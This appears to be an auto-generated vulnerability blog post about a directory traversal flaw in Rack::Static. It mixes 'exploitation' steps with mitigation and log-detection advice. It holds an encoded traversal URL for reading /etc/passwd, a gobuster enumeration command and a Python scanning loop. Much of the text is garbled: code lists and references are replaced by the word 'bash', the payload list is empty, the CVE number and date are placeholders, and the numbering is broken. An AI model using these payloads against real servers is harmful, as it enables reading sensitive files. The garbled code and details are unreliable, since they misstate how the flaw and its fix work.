Rack, Directory Traversal, CVE-2023-XXXX (Critical)

How the CVE Works:

The vulnerability in Rack::Static arises due to improper sanitization of user-supplied file paths. When serving static files, Rack::Static fails to validate encoded path traversal sequences (e.g., `../` or URL-encoded equivalents). This allows attackers to manipulate the file path and access files outside the intended directory specified by the `root:` parameter. For example, an attacker could craft a malicious URL like `/static/%2e%2e%2fetc%2fpasswd` to access sensitive system files. This flaw is particularly dangerous because it can expose confidential files, configuration data, or application source code, depending on the server’s directory structure.

DailyCVE Form:

Platform: Rack
Version: <2.2.6
Vulnerability: Directory Traversal
Severity: Critical
Date: 2023-XX-XX

What Undercode Say:

Exploitation:

1. Craft Malicious URL: Use encoded path traversal sequences to bypass directory restrictions.
   Example: `http://target.com/static/%2e%2e%2fetc%2fpasswd`
2. Enumerate Files: Use tools like `dirb` or `gobuster` to discover sensitive files.
   Command: `gobuster dir -u http://target.com/static/ -w /path/to/wordlist.txt`
   3. Automate Exploitation: Write a script to test for vulnerable endpoints.

   Python Example:

   import requests
   target = "http://target.com/static/"
   payloads = [bash]
   for payload in payloads:
   response = requests.get(target + payload)
   if response.status_code == 200:
   print(f"Vulnerable: {payload}")
   

   Mitigation:

3. Update Rack: Upgrade to Rack version 2.2.6 or later.
   

   Command: gem update rack

4. Sanitize Paths: Implement custom middleware to validate and sanitize file paths.
   

   Ruby Example:

   use Rack::Static, :root => "public", :urls => [bash], :rules => [
   [bash]
   ]
   

5. Restrict Access: Ensure the `root:` directory contains only publicly accessible files.
6. Use a CDN: Serve static files via a Content Delivery Network (CDN) to isolate the application from direct file access.
   

   Detection:

7. Log Monitoring: Monitor server logs for unusual path traversal attempts.
   

   Command: grep -i "%2e%2e" /var/log/nginx/access.log

8. Security Scanners: Use tools like `Burp Suite` or `OWASP ZAP` to scan for vulnerabilities.

References:

• Rack GitHub Repository: bash
• CVE Details: bash
  By following these steps, you can exploit, detect, and protect against this critical vulnerability in Rack::Static.

References:

Reported By: https://github.com/advisories/GHSA-7wqh-767x-r66v
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 Telegram